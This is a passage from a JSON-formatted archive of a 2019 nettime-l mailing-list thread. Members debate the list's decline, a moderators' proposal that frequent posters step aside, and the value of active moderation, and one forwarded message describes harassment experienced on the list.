senescence might be\n> best. But that joke wasn't really funny, in part because it wasn't\n> meant to be: it was a way of expressing serious concerns about the\n> list's increasingly parochial status.\n> \n> Now, we have a simple proposal: let's switch roles.\n> \n> It goes like this:\n> \n> If you've posted more than others to the list in the last 60 or 90\n> or 120 or 180 days -- the math matters less than the spirit -- take\n> a break. Let others define nettime, a space made up of nearly 5000\n> subscribers.\n> \n> If you haven't posted to the list -- say, because it seemed like\n> your ideas, concerns, or whatever you want to share wouldn't fit\n> with nettime's habits -- maybe that will change.\n> \n> Think of it as an un-grand experiment: a way to see what else\n> might happen, who else might speak, what less familiar ideas,\n> perspectives, or styles might spring up. Maybe the list will fade\n> into silence, and we'll be left with a paradoxical object, a list\n> composed *entirely* of lurkers -- not such a bad non-end for\n> nettime. Or maybe not. There might be many ways to find out. For\n> now, rather than the 1% debating how narrowly to define good\n> manners, let's see if a different 'we' can change things.\n> \n> -- the mod squad (Ted and Felix)\n> \n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: \nhttp://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: \nhttp://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: \nhttp://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n------------------------------\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n\nEnd of nettime-l Digest, Vol 141, Issue 11\n******************************************\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00021",
                        "date": "Sat, 8 Jun 2019 15:21:58 +0000",
                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                        "message-id": "AM6PR0402MB35289A993B60611123E89D80A6110@AM6PR0402MB3528.eurprd04.prod.outlook.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00021.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Sean Cubitt",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change it."
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "\"Andr\u00e9 Rebentisch\" <tabesin@gmail.com>",
                                        "content": "Most formerly valuable mailing lists are dead, Carlo.\n\nHere you find a recent quote from Joichi Ito:\n\n\u201cYou know that little girl in The Exorcist? That\u2019s what the internet\nfeels like to me,\u201d Ito said. \u201cYou have this little girl and you think\nshe\u2019s going to become this wonderful kid and then she gets possessed and\nstarts becoming this demon. And we have to exorcize her and we have to\nkind of bring her back.\u201d\n\nSource:\nhttps://www.vox.com/recode/2019/6/26/18758776/joi-ito-mit-media-lab-resisting-reduction-exorcist-kara-swisher-recode-decode-podcast-interview\n\n\n\nAndr\u00e9 Rebentisch\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00119",
                                        "date": "Sun, 30 Jun 2019 16:23:20 +0200",
                                        "to": "nettime-l@mail.kein.org",
                                        "message-id": "ba9e512f&#45;1aa2&#45;9ba3&#45;dc8c&#45;1350de322551@opentechsummit.net",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00119.html",
                                        "content-type": "text/plai",
                                        "author_name": "Andr\u00e9 Rebentisch",
                                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                                    },
                                    {
                                        "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                                        "content": "Forwarded on behalf of Nina---------- Forwarded message ---------From: \"Nina Tempor\u00e4r\" <nina-temp@gmx.de>Date: Sun, Jun 30, 2019 at 3:59 AMSubject: Aw: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.To: Molly Hankwitz <mollyhankwitz@gmail.com>Hi Molly, \n\nThanks, I have a similar perspective ,\n\n but wasnt allowed to post it on nettime - unfortunately it seems that disallowing Andreas to disseminate Standard sexist phrases like I Would probably have no other topics than sexism, has put me on a watch list. \n\nSo, even if we have different opinions about JA, Would you mind forwarding this? (see below, only that Part. ) Thanks! \n\nI am esepecially concerned about this new regulation ruling out the big names, as Ted and Felix explicitly came\n\n up with it after I asked them for help in relation to the onlist sexism and racism and\n\n offlist Harrassment by JA disciples (no big names) I was exposed to after critisizing JA. But the current development is nothing I Would have endorsed - it doesnt heal the racism of a Morlock Elloi, it only leads to the big names writing privately somewhere Else, which is a pity. I mean, the amount of New people writing here is great, but I dont see why both couldnt coexist. \n\nBest N\n\n\nMy mail that didnt get through:\n\n\n\n\nI wasn't in favor of the priniciple of disallowing \nthe people who usually write here to continue with the same frequency. They probably now simply discuss in private, elsewhere.\n\nBut I think it's great that so many \"new\" people are writing here.\n\nSaying nettime would have lost its quality is an insult right into the face of these people. And not even true. And sometimes phrasing new perceptions needs a while - and is a courageous endeavour -\nwhereas following beaten paths of the discursive findings of pa\u00dft decades might gleam with terminological perfection, but reveal at best only extra layers of outdated truths.\nEspecially in the field of tech/media one should always be aware of this - even more so, as not only the technology we are using is rapidly changing, but also the brains of new generations suceeding\nas recipients of these.\n\nThat said, I always did like the discourse the nettime Community was known for, and I'd regard it as a loss if it was impossible for both to co-exist here. But trying to artificially presevere only that one approach here feels like calling for it to become an exhibit in the museum of natural history, with its own display, boxed in under glass, and with its protagontists guaranteed a part in the next sequel of \"Night at the Museum\"... (although that'd be kinda cute).\n\nN\n\nGesendet: Samstag, 29. Juni 2019 um 16:11 Uhr\nVon: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\nAn: nettime-l@kein.org\nBetreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\nI'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n# distributed via <nettime>: no commercial use without permission\n# <nettime> is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n> Gesendet: Samstag, 29. Juni 2019 um 22:23 Uhr\n> Von: \"Molly Hankwitz\" <mollyhankwitz@gmail.com>\n> An: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\n> Cc: nettime-l@kein.org\n> Betreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Carlo and nettime!\n> \n> Thank you for this, Carlo. I could not agree more, the deliberate effort of\n> mods to put material that is provocative and worthy on the list...BUT, it\n> may also be, and this is where mods could also help...that the great net\n> debates have disappeared or died out. There are new debates, but who is\n> framing them relative to networks.\n> \n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n> \n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n> \n> I don't know...that was my feeling when I read this. So, yes, we need the\n> heavies, maybe...to frame the debates so we can bat our own balls back and\n> forth and to and fro on nettime.\n> \n> Molly\n> \n> On Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org>\n> wrote:\n> \n> > I'll keep it short as I've said it before some years ago\u2026\n> > I think the pro-active moderation was the whole specialty\n> > of nettime, fostering high quality and inclusiveness. Since\n> > you dropped that (possibly because it was too much work, so\n> > I'm not blaming) the list slowly lost its focus just as all\n> > the sociologic research I look into predicted\u2026 maybe Pit\n> > can give it the original pitch back? Hugs from NK, C.\n> >\n> > #\n\n distributed via <nettime>: no commercial use without permission\n> > #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> > #\n\n collaborative text filtering and cultural politics of the nets\n> > #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> > #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00120",
                                        "date": "Sun, 30 Jun 2019 08:40:34 -0700",
                                        "to": "\"nettime-l@kein.org\" <nettime-l@kein.org>",
                                        "message-id": "CAH5TXpxR+y_8JsSvkke7rNAmjmmVLu6SN6ytcpk4B&#45;XRE&#45;0iPw@mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00120.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Molly Hankwitz",
                                        "subject": "<nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                                    },
                                    {
                                        "from": "John Preston <wcerfgba@riseup.net>",
                                        "content": "Thanks Nina, Molly, Andr\u00e9, David, Allan, and everyone else for all your\ninsight on this thread. \n\nI'd like to chime in with a quote from our own slice of web [1]: \n\n<nettime> is not just a mailing list but an effort to formulate an\ninternational, networked discourse that neither promotes a dominant\neuphoria (to sell products) nor continues the cynical pessimism, spread\nby journalists and intellectuals in the 'old' media who generalize about\n'new' media with no clear understanding of their communication aspects.\nwe have produced, and will continue to produce books, readers, and web\nsites in various languages so an 'immanent' net critique will circulate\nboth on- and offline. \n\nThe internet, as is the want of any globalised socio-technical system,\nhas de-localised what started off as a small group of people operating\nin a particular time and place: there are no borders on the Internet.\n\nPerhaps we do not need to state a purpose for the list, its character is\ndetermined by its history and content, which I suppose is why these meta\ndiscussions can be (a sign of) destabilising in an waning community.\nCertainly it is useful to extract common themes. I like 'netcriticism'\nas a focus, as it ties in very much with my developing perspective.\n\nIn netcrit terms I no longer consider 'the net' to be the Internet, or\neven just our increasingly complex relationships with machines, but\nrather an all-encompassing socio-technical system, composed of people,\ncomputers, materials, machines, and various relations and transactions\nbetween them -- similar to Hakim Bey's conception but I try to think of\nit a model of the economic and power relations in the physical world,\nrather than as just an abstract space of information which might map on\nto the world somehow.\n\nIn that respect I see the list as covering quite a wide area of\ndiscourse, but with a focus on our contemporary setting, and hopefully\nwith a pragmatic slant too. I believe we (civilization) are nearing both\necological and social tipping points, and we need to take action to\ndiscover and fix the parts of this sociotechnical system which are\ncausing harm to the planet and our local communities.\n\n\u270c\ufe0f\n\n[1] https://www.nettime.org/info.html\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00121",
                                        "date": "Sun, 30 Jun 2019 12:54:11 -0700",
                                        "to": "nettime-l@mail.kein.org",
                                        "message-id": "253630d6a8c21ec056ebc2b592e4b46a@riseup.net",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00121.html",
                                        "content-type": "text/plai",
                                        "author_name": "John Preston",
                                        "subject": "Re: <nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                                    }
                                ],
                                "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                                "content": "Carlo and nettime!Thank you for this, Carlo. I could not agree more, the deliberate effort of mods to put material that is provocative and worthy on the list...BUT, it may also be, and this is where mods could also help...that the great net debates have disappeared or died out. There are new debates, but who is framing them relative to networks.\n\nThe question comes up more and more - where is the whole idea of networks that was once? Answer: sorry, social media has everyone blissed out on their own screen.\n\nThe great debates that enlivened networks of the 90s, have become muddled to the point that \"networks\" per se don't seem to carry much weight online - now its the app, its the website - which don't always reflect a living community of net-users as we know...or maybe we are imagining networks differently than before and that does not help. Common interests which drove the formulation of networks and network 'flows' seem to have been replaced by something else. Who is the we of any network now...I don't know...that was my feeling when I read this. So, yes, we need the heavies, maybe...to frame the debates so we can bat our own balls back and forth and to and fro on nettime.Molly\n\nOn Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org> wrote:I'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00115",
                                "date": "Sat, 29 Jun 2019 13:23:18 -0700",
                                "to": "carlo von lynX <lynX@time.to.get.psyced.org>",
                                "message-id": "CAH5TXpxzAE4hHLvdz1TQY1fDYwqMmPG7AOaeg_3PO4HZyBg3yQ@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00115.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Molly Hankwitz",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            },
                            {
                                "from": "\"Andr\u00e9 Rebentisch\" <tabesin@gmail.com>",
                                "content": "Most formerly valuable mailing lists are dead, Carlo.\n\nHere you find a recent quote from Joichi Ito:\n\n\u201cYou know that little girl in The Exorcist? That\u2019s what the internet\nfeels like to me,\u201d Ito said. \u201cYou have this little girl and you think\nshe\u2019s going to become this wonderful kid and then she gets possessed and\nstarts becoming this demon. And we have to exorcize her and we have to\nkind of bring her back.\u201d\n\nSource:\nhttps://www.vox.com/recode/2019/6/26/18758776/joi-ito-mit-media-lab-resisting-reduction-exorcist-kara-swisher-recode-decode-podcast-interview\n\n\n\nAndr\u00e9 Rebentisch\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00119",
                                "date": "Sun, 30 Jun 2019 16:23:20 +0200",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "ba9e512f&#45;1aa2&#45;9ba3&#45;dc8c&#45;1350de322551@opentechsummit.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00119.html",
                                "content-type": "text/plai",
                                "author_name": "Andr\u00e9 Rebentisch",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            },
                            {
                                "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                                "content": "Forwarded on behalf of Nina---------- Forwarded message ---------From: \"Nina Tempor\u00e4r\" <nina-temp@gmx.de>Date: Sun, Jun 30, 2019 at 3:59 AMSubject: Aw: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.To: Molly Hankwitz <mollyhankwitz@gmail.com>Hi Molly, \n\nThanks, I have a similar perspective ,\n\n but wasnt allowed to post it on nettime - unfortunately it seems that disallowing Andreas to disseminate Standard sexist phrases like I Would probably have no other topics than sexism, has put me on a watch list. \n\nSo, even if we have different opinions about JA, Would you mind forwarding this? (see below, only that Part. ) Thanks! \n\nI am esepecially concerned about this new regulation ruling out the big names, as Ted and Felix explicitly came\n\n up with it after I asked them for help in relation to the onlist sexism and racism and\n\n offlist Harrassment by JA disciples (no big names) I was exposed to after critisizing JA. But the current development is nothing I Would have endorsed - it doesnt heal the racism of a Morlock Elloi, it only leads to the big names writing privately somewhere Else, which is a pity. I mean, the amount of New people writing here is great, but I dont see why both couldnt coexist. \n\nBest N\n\n\nMy mail that didnt get through:\n\n\n\n\nI wasn't in favor of the priniciple of disallowing \nthe people who usually write here to continue with the same frequency. They probably now simply discuss in private, elsewhere.\n\nBut I think it's great that so many \"new\" people are writing here.\n\nSaying nettime would have lost its quality is an insult right into the face of these people. And not even true. And sometimes phrasing new perceptions needs a while - and is a courageous endeavour -\nwhereas following beaten paths of the discursive findings of pa\u00dft decades might gleam with terminological perfection, but reveal at best only extra layers of outdated truths.\nEspecially in the field of tech/media one should always be aware of this - even more so, as not only the technology we are using is rapidly changing, but also the brains of new generations suceeding\nas recipients of these.\n\nThat said, I always did like the discourse the nettime Community was known for, and I'd regard it as a loss if it was impossible for both to co-exist here. But trying to artificially presevere only that one approach here feels like calling for it to become an exhibit in the museum of natural history, with its own display, boxed in under glass, and with its protagontists guaranteed a part in the next sequel of \"Night at the Museum\"... (although that'd be kinda cute).\n\nN\n\nGesendet: Samstag, 29. Juni 2019 um 16:11 Uhr\nVon: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\nAn: nettime-l@kein.org\nBetreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\nI'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n# distributed via <nettime>: no commercial use without permission\n# <nettime> is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n> Gesendet: Samstag, 29. Juni 2019 um 22:23 Uhr\n> Von: \"Molly Hankwitz\" <mollyhankwitz@gmail.com>\n> An: \"carlo von lynX\" <lynX@time.to.get.psyced.org>\n> Cc: nettime-l@kein.org\n> Betreff: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n>\n> Carlo and nettime!\n> \n> Thank you for this, Carlo. I could not agree more, the deliberate effort of\n> mods to put material that is provocative and worthy on the list...BUT, it\n> may also be, and this is where mods could also help...that the great net\n> debates have disappeared or died out. There are new debates, but who is\n> framing them relative to networks.\n> \n> The question comes up more and more - where is the whole idea of networks\n> that was once? Answer: sorry, social media has everyone blissed out on\n> their own screen.\n> \n> The great debates that enlivened networks of the 90s, have become muddled\n> to the point that \"networks\" per se don't seem to carry much weight online\n> - now its the app, its the website - which don't always reflect a living\n> community of net-users as we know...or maybe we are imagining networks\n> differently than before and that does not help. Common interests which\n> drove the formulation of networks and network 'flows' seem to have been\n> replaced by something else. Who is the we of any network now...\n> \n> I don't know...that was my feeling when I read this. So, yes, we need the\n> heavies, maybe...to frame the debates so we can bat our own balls back and\n> forth and to and fro on nettime.\n> \n> Molly\n> \n> On Sat, Jun 29, 2019 at 7:12 AM carlo von lynX <lynX@time.to.get.psyced.org>\n> wrote:\n> \n> > I'll keep it short as I've said it before some years ago\u2026\n> > I think the pro-active moderation was the whole specialty\n> > of nettime, fostering high quality and inclusiveness. Since\n> > you dropped that (possibly because it was too much work, so\n> > I'm not blaming) the list slowly lost its focus just as all\n> > the sociologic research I look into predicted\u2026 maybe Pit\n> > can give it the original pitch back? Hugs from NK, C.\n> >\n> > #\n\n distributed via <nettime>: no commercial use without permission\n> > #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> > #\n\n collaborative text filtering and cultural politics of the nets\n> > #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> > #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: http://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00120",
                                "date": "Sun, 30 Jun 2019 08:40:34 -0700",
                                "to": "\"nettime-l@kein.org\" <nettime-l@kein.org>",
                                "message-id": "CAH5TXpxR+y_8JsSvkke7rNAmjmmVLu6SN6ytcpk4B&#45;XRE&#45;0iPw@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00120.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Molly Hankwitz",
                                "subject": "<nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                            },
                            {
                                "from": "John Preston <wcerfgba@riseup.net>",
                                "content": "Thanks Nina, Molly, Andr\u00e9, David, Allan, and everyone else for all your\ninsight on this thread. \n\nI'd like to chime in with a quote from our own slice of web [1]: \n\n<nettime> is not just a mailing list but an effort to formulate an\ninternational, networked discourse that neither promotes a dominant\neuphoria (to sell products) nor continues the cynical pessimism, spread\nby journalists and intellectuals in the 'old' media who generalize about\n'new' media with no clear understanding of their communication aspects.\nwe have produced, and will continue to produce books, readers, and web\nsites in various languages so an 'immanent' net critique will circulate\nboth on- and offline. \n\nThe internet, as is the want of any globalised socio-technical system,\nhas de-localised what started off as a small group of people operating\nin a particular time and place: there are no borders on the Internet.\n\nPerhaps we do not need to state a purpose for the list, its character is\ndetermined by its history and content, which I suppose is why these meta\ndiscussions can be (a sign of) destabilising in an waning community.\nCertainly it is useful to extract common themes. I like 'netcriticism'\nas a focus, as it ties in very much with my developing perspective.\n\nIn netcrit terms I no longer consider 'the net' to be the Internet, or\neven just our increasingly complex relationships with machines, but\nrather an all-encompassing socio-technical system, composed of people,\ncomputers, materials, machines, and various relations and transactions\nbetween them -- similar to Hakim Bey's conception but I try to think of\nit a model of the economic and power relations in the physical world,\nrather than as just an abstract space of information which might map on\nto the world somehow.\n\nIn that respect I see the list as covering quite a wide area of\ndiscourse, but with a focus on our contemporary setting, and hopefully\nwith a pragmatic slant too. I believe we (civilization) are nearing both\necological and social tipping points, and we need to take action to\ndiscover and fix the parts of this sociotechnical system which are\ncausing harm to the planet and our local communities.\n\n\u270c\ufe0f\n\n[1] https://www.nettime.org/info.html\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00121",
                                "date": "Sun, 30 Jun 2019 12:54:11 -0700",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "253630d6a8c21ec056ebc2b592e4b46a@riseup.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00121.html",
                                "content-type": "text/plai",
                                "author_name": "John Preston",
                                "subject": "Re: <nettime> Fwd: Re: Nettime is in bad shape. Let's see if we can change it."
                            }
                        ],
                        "from": "carlo von lynX <lynX@time.to.get.psyced.org>",
                        "content": "I'll keep it short as I've said it before some years ago\u2026\nI think the pro-active moderation was the whole specialty\nof nettime, fostering high quality and inclusiveness. Since\nyou dropped that (possibly because it was too much work, so\nI'm not blaming) the list slowly lost its focus just as all\nthe sociologic research I look into predicted\u2026 maybe Pit\ncan give it the original pitch back? Hugs from NK, C.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00114",
                        "date": "Sat, 29 Jun 2019 16:11:47 +0200",
                        "to": "nettime-l@kein.org",
                        "message-id": "20190629141147.GA30102@lo.psyced.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00114.html",
                        "content-type": "text/plai",
                        "author_name": "carlo von lynX",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change it."
                    },
                    {
                        "from": "voyd@voyd.c",
                        "content": "Thanks, Sean and all for these salient replies.\nI have often been active here, but had been offline more than I like related to living in Arabia; some things you'd imagine, others not. More than anything else, I have been creating a VR research center and doing a snowstorm of paperwork. My intentions are to be here more, as my research is revving up again.\n\nI value Nettime a great deal in that it remains one of the places where a high concentration of fine minds, whether they pop in or out like virtual particles int he cyber-aether, usually pop out clear thought.\n\nAnother thing is that for the past three years, I have been traveling into Central Asia, Married an Iranian, coming to know the Eastern Hemisphere, and seeing what Geert Lovink and I had long discussions on here in Abu Dhabi relating the slide of Krokerian Bimodernism to American global colonial war capitalism under the Plan for the New American Century to the collapse into spheres of influence with the rise of Trump.\n\n Actually a lot more than this, but the flood of understanding has taken a while to coalesce.\n\nLooking forward to more conversation.\n\n\nOn Sat, 8 Jun 2019 15:21:58 +0000, Sean Cubitt  wrote:\n\n\n\n\nI've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n\n\n\n\n\nthe thing that keeps nettime valuable is a) the contributors,\n\ntimeliness, and\n\nswift smart dialogues and b) that there still seems to be a common purpose.\n\n\n\n\n\n\n\nsocial media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?\n\n\n\n\n\n\n\nOther lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc.\n\n\n\n\n\n\n\nMailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n\n\n\n\n\nin a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,\n\npolitics and\n\naesthetic\n\npolitics of the early C21st --\n\nconsideration, wonder and hope\n\n\n\n\n\n\n\nSean\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of nettime-l-request@mail.kein.org <nettime-l-request@mail.kein.org>\nSent: 08 June 2019 15:45\nTo: nettime-l@mail.kein.org\nSubject: nettime-l Digest, Vol 141, Issue 11\n\n\n\n\n\n\n\nSend nettime-l mailing list submissions to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l@mail.kein.org\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  http://mx.kein.org/mailman/listinfo/nettime-l \n\n\n\n\t\n\t\t\n\t\t\t\n\t\t\t\n\n\n\n\t\t\tnettime-l Info Page - mx.kein.org\n\n\t\t\tmx.kein.org\n\n\t\t\t-- a moderated mailing list for net criticism <nettime> is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n\t\t\t\n\t\t\n\t\n\n\n\n\nor, via email, send a message with subject or body 'help' 